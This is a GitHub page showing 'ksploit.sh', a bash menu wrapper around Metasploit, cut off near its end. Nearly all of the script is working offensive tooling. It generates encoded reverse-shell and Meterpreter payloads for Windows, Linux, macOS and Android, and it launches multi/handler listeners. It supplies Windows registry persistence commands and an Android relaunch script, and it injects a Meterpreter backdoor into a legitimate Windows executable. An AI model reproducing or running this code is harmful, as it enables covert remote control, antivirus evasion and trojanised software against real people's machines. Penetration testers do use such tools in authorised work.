-
-
Notifications
You must be signed in to change notification settings - Fork 1
/
ksploit.sh
937 lines (901 loc) · 35.4 KB
/
ksploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
#!/bin/bash
# Script: KSploit v 2.1
# Author: kaotickj
# Github: https://github.com/kaotickj/KSploit
# Website: https://kdgwebsolutions.com
#########################################
#----------------- VARS ----------------#
#########################################
ADDR=$(ip addr | grep tun0|grep inet|awk '{print $2}'|cut -d "/" -f 1)
EADDR=$(ip addr | grep eth0|grep inet|awk '{print $2}'|cut -d "/" -f 1)
WADDR=$(ip addr | grep wlan0|grep inet|awk '{print $2}'|cut -d "/" -f 1)
ME="$(whoami) 👽 $(hostname)"
ME=$(echo $ME | tr '[:lower:]' '[:upper:]')
wdir=$(pwd)
THISIP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
###########################################
#--------------- Colors ----------------#
###########################################
C=$(printf '\033')
FGR="${C}[48;5;196m"
RED="${C}[1;31m"
SED_RED="${C}[1;31m&${C}[0m"
GREEN="${C}[1;32m"
FGG="${C}[48;5;22m"
SED_GREEN="${C}[1;32m&${C}[0m"
YELLOW="${C}[1;33m"
SED_YELLOW="${C}[1;33m&${C}[0m"
SED_RED_YELLOW="${C}[1;31;103m&${C}[0m"
BLUE="${C}[1;34m"
FGB="${C}[48;5;34m"
SED_BLUE="${C}[1;34m&${C}[0m"
ITALIC_BLUE="${C}[1;34m${C}[3m"
LIGHT_MAGENTA="${C}[1;95m"
SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m"
LIGHT_CYAN="${C}[1;96m"
FGC="${C}[48;5;237m"
SED_LIGHT_CYAN="${C}[1;96m&${C}[0m"
LG="${C}[1;37m"
SED_LG="${C}[1;37m&${C}[0m"
DG="${C}[1;90m"
SED_DG="${C}[1;90m&${C}[0m"
NC="${C}[0m"
UNDERLINED="${C}[5m"
ITALIC="${C}[3m"
###############################################
# LOCAL ADAPTER ADDRESSES
###############################################
locals()
{
echo " ${FGC}| Your current adapter address(es) |${NC}${YELLOW}"
if [ -z "$EADDR" ] && [ -z "$ADDR" ] && [ -z "$WADDR" ];
then
echo " ${FGR}| ⚠️ NOT CONNECTED ⚠️ |${NC}${YELLOW}"
fi
if [ -n "${EADDR}" ];
then
echo " | ETH0: $EADDR"| sed 's/$/ /g'
fi
if [ -n "${ADDR}" ];
then
echo " | TUN0: $ADDR"| sed 's/$/ /g'
fi
if [ -n "${WADDR}" ];
then
echo " | WLAN0: $WADDR"| sed 's/$/ /g'
fi
# echo " | IPV4: $THISIP"| sed 's/$/ /g' ## Uncomment this if you want to show your ipv4 public ip address in dialogs
echo " -------------------------------------"
return
}
###############################################
# SHOW ERRORS
###############################################
errors()
{
if [ ! "${error}" = "" ]
then
echo "${LG}"
echo " ${FGR} $error ${NC}"
error=""
fi
return
}
###############################################
# FILE CHOOSER
###############################################
pickfile()
{
local f="$exepath"
local m="$0: file $f failed to load."
if [ -f $f ]
then
m="$0: $f file loaded."
else
m="$0: $f is not a file."
dialog --title "Load file" --clear --msgbox "$m" 10 50
goto pick;
fi
echo ${NC}
dialog --title "Load file" --clear --msgbox "$m" 10 50
return
}
###############################################
# EXIT 1
###############################################
goodbye()
{
echo "${YELLOW} |${FGG} 👋${GREEN} Goodbye 👋 ${NC}${YELLOW}|"
echo
echo
exit 0;
}
###############################################
# EXIT 0
###############################################
badbye()
{
echo "${RED} |${FGR}💀${LG} FATAL ERROR!! 💀 ${NC}${RED}|"
echo
echo
exit 1;
}
################################################################################
# Obfuscate Payloads Menu
################################################################################
obfuscate() {
#encodemenu:
clear
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Obfuscate Payloads Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🖥️ ${GREEN} 1 ${BLUE}Obfuscate Payloads. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to Main Menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo ${YELLOW}
read -n1 -p " What do you want to do? Choose: [1,q] " opt
case $opt in
1)
goto encode;
;;
q)
goto $start
;;
*)
error="$opt is not a valid option!"
goto encodemenu
;;
esac
#encode:
echo
echo
echo " ${FGC}${GREEN} Payload Obfuscation ${NC}${YELLOW}"
echo " --------------------"
echo
echo " ${GREEN} I need to collect some input for the payload parameters"${NC}
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
# Get the parameters for the payload
#params:
echo ${YELLOW}
read -p " Enter the payload to obfuscate: " payload
read -p " Enter the output format (e.g., exe, elf, apk): " format
read -p " Enter the output file name: " output
read -p " Enter the LHOST for the payload: " lhost
read -p " Enter the LPORT for the payload: " lport
echo
echo " Please wait while I validate your input parameters and get available encoders ..." | fmt -w 60
echo
# Check if the payload is valid
if ! msfvenom -l payloads | grep -q $payload; then
echo " Error: Invalid payload."
goto params
fi
# Check if the format is valid
if ! msfvenom -l formats | grep -q $format; then
echo " Error: Invalid format."
goto params
fi
# Display available encoders
#encoders:
echo " ${FGC}Available Encoders:${NC}${YELLOW}"
msfvenom -l encoders | grep -E '^\s+' | sed 's/^\s*//'
read -p " Enter the encoder to use (e.g., x86/xor, press Enter to skip): " encoder
# Check if the encoder is valid
if [ ! -z "$encoder" ] && ! msfvenom -l encoders | grep -q $encoder; then
echo "Error: Invalid encoder."
goto encoders
fi
read -p " Enter the number of iterations of $encoder to use: " iterations
# Modify the payload with garbage code
# echo " Generating garbage code and concatenating to payload"
# garbage_code=$(openssl rand -hex 32)
# modified_payload="${payload}${garbage_code}"
# Generate the obfuscated payload
echo " Generating obfuscated payload..."
if [ -z "$encoder" ]; then
msfvenom -p $payload LHOST=$lhost LPORT=$lport -f $format -o $output.$format >/dev/null 2>&1
else
msfvenom -p $payload LHOST=$lhost LPORT=$lport -e $encoder -i $iterations -f $format -o $output.$format
echo
fi
if [ $? -eq 0 ]; then
echo " Obfuscated payload saved to: $output.$format"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto encodemenu;
else
echo " Error: Failed to obfuscate payload."
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto encodemenu;
fi
}
################################################################################
# Payloads Menu
################################################################################
payloads()
{
clear
echo ${LIGHT_CYAN}'
____ _ _
| _ \ __ _ _ _| | ___ __ _ __| |___
| |_) / _` | | | | |/ _ \ / _` |/ _` / __|
| __/ (_| | |_| | | (_) | (_| | (_| \__ \
|_| \__,_|\__, |_|\___/ \__,_|\__,_|___/
|___/
💰💰💰💰💰💰💰💰💰💰💰💰💰💰💰💰💰💰💰💰
'${LIGHT_MAGENTA}
echo " Use the payloads menu to quickly and easily craft metasploit payloads for a wide variety of targets." |fmt -w 60
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
#pay:
clear
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Payloads Menu Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🖥️ ${GREEN} 1 ${BLUE}Windows Payloads. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🐧${GREEN} 2 ${BLUE}Linux Payloads. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🍎${GREEN} 3 ${BLUE}Mac OSX Reverse TCP. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🤖${GREEN} 4 ${BLUE}Android Meterpreter Reverse TCP. ${YELLOW}|"
# echo " |---------------------------------------------|"
# echo " | 🐍${GREEN} 5 ${BLUE}Unix Reverse Python. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to main menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,3,4,q] " opt
echo
echo
locals
case "$opt" in
1)
winpayloads
;;
2)
linpayloads
;;
3)
echo
echo " ${FGC} Crafting a Mac OSX Reverse TCP Payload : ${NC}${YELLOW}"
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo " 💰💰💰 Generating mac osx payload ..."
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$attackerip LPORT=$attackerport -f macho > $wdir/shell.macho
echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell.macho saved 💰💰💰 ${NC}${GREEN}"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto pay;
;;
4)
echo
echo " ${FGC} Crafting an Android Meterpreter Payload : ${NC}${YELLOW}"
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo " 💰💰💰 Generating android meterpreter payload ..."
msfvenom -p android/meterpreter/reverse_tcp LHOST=$attackerip LPORT=$attackerport R > $wdr/shell.apk
echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell.apk saved 💰💰💰 ${NC}${GREEN}"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto pay;
;;
#5)
#echo
#echo " ${FGC} Crafting a Reverse Python Payload : ${NC}${YELLOW}"
#read -p ' Set Attacker IP* ' attackerip
#read -p ' Set Attacker Port* ' attackerport
#echo " 💰💰💰 Generating reverse python payload ..."
#msfvenom -p cmd/unix/reverse_python LHOST=$attackerip LPORT=$attackerport -f raw > $wdir/shell.py
#echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell.py saved 💰💰💰 ${NC}${GREEN}"
#pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
#goto pay;
#;;
q)
clear
goto $start
;;
*)
clear
error="$opt is not a valid option!"
goto pay;
;;
esac
}
################################################################################
# Linux Payloads Menu
################################################################################
linpayloads()
{
clear
#linpay:
clear
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Linux Payloads Menu Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🐧${GREEN} 1 ${BLUE}Linux x86 Meterpreter Reverse TCP. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🐧${GREEN} 2 ${BLUE}Linux x64 Meterpreter Reverse TCP. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to payloads menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,q] " opt
echo
echo
locals
case "$opt" in
1)
echo
echo " ${FGC} Crafting a Linux x86 Meterpreter Reverse TCP Payload : ${NC}${YELLOW}"
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo " 💰💰💰 Generating linux x86 meterpreter payload ..."
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$attackerip LPORT=$attackerport -f elf > $wdir/shell.elf
echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell.elf saved 💰💰💰 ${NC}${GREEN}"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto linpay;
;;
2)
echo
echo " ${FGC} Crafting a Linux x64 Meterpreter Reverse TCP Payload : ${NC}${YELLOW}"
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo " 💰💰💰 Generating linux x64 meterpreter payload ..."
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$attackerip LPORT=$attackerport -f elf > $wdir/shell64.elf
echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell64.elf saved 💰💰💰 ${NC}${GREEN}"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto linpay;
;;
q)
clear
goto pay;
;;
*)
clear
error="$opt is not a valid option!"
goto linpay;
;;
esac
}
################################################################################
# Windows Payloads Menu
################################################################################
winpayloads()
{
clear
#winpay:
clear
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Windows Payloads Menu Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🖥️ ${GREEN} 1 ${BLUE}Windows x86 Meterpreter Reverse TCP.${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🖥️ ${GREEN} 2 ${BLUE}Windows x64 Meterpreter Reverse TCP.${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to payloads menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,q] " opt
echo
echo
locals
case "$opt" in
1)
echo
echo " ${FGC} Crafting a Windows x86 Meterpreter Reverse TCP Payload : ${NC}${YELLOW}"
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo " 💰💰💰 Generating shikata ga nai encoded payload ..."
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$attackerip LPORT=$attackerport -e x86/shikata_ga_nai -i 10 -f exe > $wdir/shell.exe
echo
echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell.exe saved 💰💰💰 ${NC}${GREEN}"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto winpay;
;;
2)
echo
echo " ${FGC} Crafting a Windows x64 Meterpreter Reverse TCP Payload : ${NC}${YELLOW}"
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo " 💰💰💰 Generating xor encoded payload ..."
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$attackerip LPORT=$attackerport -e x64/xor -i 10 -f exe > $wdir/shell64.exe
echo
echo -e " ${FGG}${YELLOW} 💰💰💰 $wdir/shell64.exe saved 💰💰💰 ${NC}${GREEN}"
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto winpay;
;;
q)
clear
goto pay;
;;
*)
clear
error="$opt is not a valid option!"
goto winpay;
;;
esac
}
################################################################################
# Listeners Menu
################################################################################
listeners()
{
clear
echo ${LIGHT_CYAN}'
_ _ _
| | (_)___| |_ ___ _ __ ___ _ __ ___
| | | / __| __/ _ \\ '_ \\ / _ \\ '__/ __|
| |___| \__ \ || __/ | | | __/ | \__ \
|_____|_|___/\__\___|_| |_|\___|_| |___/
👂👂👂👂👂👂👂👂👂👂👂👂👂👂👂👂👂👂👂
'${LIGHT_MAGENTA}
echo " Use the listeners menu to craft and quickly deploy metasploit listeners." |fmt -w 60
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
#listen:
clear
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Listeners Menu Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🖥️ ${GREEN} 1 ${BLUE}Windows Meterpreter Reverse TCP. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🐧${GREEN} 2 ${BLUE}Linux Meterpreter Reverse TCP. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🍎${GREEN} 3 ${BLUE}OSX Reverse TCP listener. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🤖${GREEN} 4 ${BLUE}Android Reverse TCP listener. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to the main menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,3,4,q] " opt
echo
echo
locals
case "$opt" in
1)
echo
touch $wdir/meterpreter.rc
echo " ${FGC} Crafting a Windows Meterpreter Reverse TCP Listener : ${NC}${YELLOW}"
echo use multi/handler > $wdir/meterpreter_windows.rc
echo set PAYLOAD windows/x64/meterpreter/reverse_tcp >> $wdir/meterpreter_windows.rc
read -p ' Set Attacker IP* ' attackerip
echo set LHOST $attackerip >> $wdir/meterpreter_windows.rc
read -p ' Set Attacker Port* ' attackerport
echo set LPORT $attackerport >> $wdir/meterpreter_windows.rc
echo run >> $wdir/meterpreter_windows.rc
echo
echo "${GREEN} ---> Saved to $wdir/meterpreter_windows.rc."
echo "${GREEN} ---> Finished crafting listener."
sleep 1
echo
echo "${YELLOW} ---> Starting listener on LHOST $attackerip LPORT $attackerport."
cat $wdir/meterpreter_windows.rc | xterm -e msfconsole -r $wdir/meterpreter_windows.rc
sleep 2
goto listen;
;;
2)
echo
touch $wdir/meterpreter_linux.rc
echo " ${FGC} Crafting a Linux Meterpreter Reverse TCP Listener : ${NC}${YELLOW}"
echo use exploit/multi/handler > $wdir/meterpreter_linux.rc
echo set PAYLOAD linux/x86/meterpreter/reverse_tcp >> $wdir/meterpreter_linux.rc
read -p ' Set Attacker IP* ' attackerip
echo set LHOST $attackerip >> $wdir/meterpreter_linux.rc
read -p ' Set Attacker Port* ' attackerport
echo set LPORT $attackerport >> $wdir/meterpreter_linux.rc
echo run >> $wdir/meterpreter_linux.rc
echo
echo "${GREEN} ---> Saved to $wdir/meterpreter_linux.rc."
echo "${GREEN} ---> Finished crafting listener."
sleep 1
echo
echo "${YELLOW} ---> Starting listener on LHOST $attackerip LPORT $attackerport."
cat $wdir/meterpreter_linux.rc | xterm -e msfconsole -r $wdir/meterpreter_linux.rc
sleep 2
goto listen;
;;
3)
echo
touch $wdir/meterpreter_mac.rc
echo " ${FGC} Crafting an OSX Reverse TCP Listener : ${NC}${YELLOW}"
echo use exploit/multi/handler > $wdir/meterpreter_mac.rc
echo set PAYLOAD osx/x86/shell_reverse_tcp >> $wdir/meterpreter_mac.rc
read -p ' Set Attacker IP* ' attackerip
echo set LHOST $attackerip >> $wdir/meterpreter_mac.rc
read -p ' Set Attacker Port* ' attackerport
echo set LPORT $attackerport >> $wdir/meterpreter_mac.rc
echo run >> $wdir/meterpreter_mac.rc
echo
echo "${GREEN} ---> Saved to $wdir/meterpreter_mac.rc."
echo "${GREEN} ---> Finished crafting listener."
sleep 1
echo
echo "${YELLOW} ---> Starting listener on LHOST $attackerip LPORT $attackerport."
cat $wdir/meterpreter_mac.rc | xterm -e msfconsole -r $wdir/meterpreter_mac.rc
sleep 2
goto listen;
;;
4)
echo
touch $wdir/meterpreter_droid.rc
echo " ${FGC} Crafting a Android Reverse TCP Listener : ${NC}${YELLOW}"
echo use exploit/multi/handler > $wdir/meterpreter_droid.rc
echo set PAYLOAD android/meterpreter/reverse_tcp >> $wdir/meterpreter_droid.rc
read -p ' Set Attacker IP* ' attackerip
echo set LHOST $attackerip >> $wdir/meterpreter_droid.rc
read -p ' Set Attacker Port* ' attackerport
echo set LPORT $attackerport >> $wdir/meterpreter_droid.rc
echo run >> $wdir/meterpreter_droid.rc
echo "${GREEN} ---> Saved to $wdir/meterpreter_droid.rc."
echo "${GREEN} ---> Finished crafting listener."
sleep 1
echo
echo "${YELLOW} ---> Starting listener on LHOST $attackerip LPORT $attackerport."
cat $wdir/meterpreter_droid.rc | xterm -e msfconsole -r $wdir/meterpreter_droid.rc
sleep 2
goto listen;
;;
q)
clear
goto start;
;;
*)
clear
error="$opt is not a valid option!"
goto listen;
;;
esac
}
################################################################################
# Migrate to Msfconsole
################################################################################
mfconsole()
{
echo
echo "${YELLOW} --> Migrating to metasploit-framework ..."
echo
sudo msfdb run
tput sgr0
goodbye
}
################################################################################
# Persistence Menu
################################################################################
persist() {
clear
echo "${LIGHT_CYAN}"
echo " ____ _ _ "
echo " | _ \ ___ _ __ ___(_)___| |_ ___ _ __ ___ ___ "
echo " | |_) / _ \ '__/ __| / __| __/ _ \ '_ \ / __/ _ \\${GREEN}"
echo " | __/ __/ | \__ \ \__ \ || __/ | | | (_| __/${LIGHT_MAGENTA}"
echo " |_| \___|_| |___/_|___/\__\___|_| |_|\___\___|"
echo " ⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛⌛"
echo ${LIGHT_MAGENTA}
echo " Use the persistence menu to quickly forge persistence scripts. Currently supports windows and android scripts." | fmt -w 60
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
#stay:
clear
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Persistence Menu Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🖥️ ${GREEN} 1 ${BLUE}Windows Persitence Script. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🤖${GREEN} 2 ${BLUE}Android Persistence Script. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit to the main menu. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,q] " opt
echo
echo
locals
case $opt in
1)
echo " ${FGC} Forging a Windows x64 Persistence Script:${NC}${YELLOW}"
echo
read -p ' Set Attacker IP: ' attackerip
read -p ' Set Attacker Port: ' attackerport
read -p ' Set Session ID: ' session
echo
echo " Once you have a connection, and have the meterpreter prompt, type (or copy/paste):" | fmt -w 60
echo
echo " ${FGC}${LIGHT_CYAN} run exploit/windows/local/registry_persistence LHOST=$attackerip LPORT=$attackerport SESSION=$session ${NC}${YELLOW}"
echo
echo " *** In older msfconsole versions, instead type (or copy/paste)" | fmt -w 60
echo
echo " ${FGC}${LIGHT_CYAN} run persistence -x -i 20 -r $attackerip -p $attackerport ${NC}${YELLOW}"
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto stay
;;
2)
echo " ${FGC} Forging an Android Persistence Script : ${NC}${YELLOW}"
touch $wdir/android.sh
echo "#!/bin/bash" > $wdir/android.sh
echo "while :" >> $wdir/android.sh
echo "do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity" >> $wdir/android.sh
echo "sleep 20" >> $wdir/android.sh
echo "done" >> $wdir/android.sh
sleep 2
echo
echo -e " ⌛⌛⌛ Your Persistence Script saved to $wdir/android.sh "
echo -e " Upload it to / ontarget android device${NC}"
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
goto stay
;;
q)
clear
goto start
;;
*)
clear
error="$opt is not a valid option!"
goto stay
;;
esac
}
################################################################################
# Windows executable payload injection
################################################################################
malexe()
{
echo
clear
errors
echo
echo
echo -e " ${BLUE} -------------------------------------------------------------"
echo -e " | ${FGC}${LIGHT_CYAN} 💉💉💉 Windows Executable Payload Injection 💉💉💉 ${NC}${BLUE} |"
echo -e " -------------------------------------------------------------${LIGHT_CYAN}"
echo
echo " ${FGC}${LIGHT_CYAN} Injecting a Windows Executable : ${NC}${LIGHT_CYAN}"
echo
locals
echo ${LIGHT_CYAN}
read -p ' Set Attacker IP* ' attackerip
read -p ' Set Attacker Port* ' attackerport
echo -e " 💉💉💉💉💉💉💉💉💉💉💉💉💉"
#pick:
echo ${LIGHT_CYAN}
if command -v dialog > /dev/null;
then
exepath=$(dialog --title "Load file" --stdout --title "Please choose a windows exe to inject" --fselect $wdir/ 14 48)
# load file
[ ! -z $exepath ] && pickfile "$exepath"
#return from dialog
echo
clear
errors
echo
echo
echo -e " ${BLUE} -------------------------------------------------------------"
echo -e " | ${FGC}${LIGHT_CYAN} 💉💉💉 Windows Executable Payload Injection 💉💉💉 ${NC}${BLUE} |"
echo -e " -------------------------------------------------------------${LIGHT_CYAN}"
echo
echo " ${FGC}${LIGHT_CYAN} Injecting a Windows Executable : ${NC}${LIGHT_CYAN}"
echo
locals
echo ${LIGHT_CYAN}
echo " Loaded: $exepath"
else
echo -e " ${FGC} ⚠️ Consider: (sudo apt-get install dialog) ${NC}${LIGHT_CYAN}"
echo
read -p ' Path to exe for injection*' exepath
fi
read -p ' Output filename*' outputname
echo
echo -e " 💉💉💉 Injecting payload into $outputname ..."
# echo $exepath
echo `msfvenom --platform windows -x $exepath -k -p windows/x64/meterpreter/reverse_tcp lhost=$attackerip lport=$attackerport -b "\x00" -e x64/xor -i 39 -f exe -o $wdir/$outputname`
if [ -f "${outputname}" ]
then
echo -ne ' 💉\r'
sleep .1
echo -ne ' 💉💉\r'
sleep .1
echo -ne ' 💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
sleep .1
echo -ne ' 💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉💉\r'
echo -ne " ${FGG}${YELLOW} 💉💉💉 $wdir/$outputname saved 💉💉💉 ${NC}${LIGHT_CYAN}"'\r'
chmod 777 $wdir/$ouputname
echo
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
else
echo "${RED}ERROR............"
pause ' '${FGR}${YELLOW}' Press [Enter] key to continue...'${NC}
fi
goto start;
exit 1;
}
################################################################################
# INITIALIZE
################################################################################
clear
[[ `id -u` -eq 0 ]] || {
clear
echo
echo
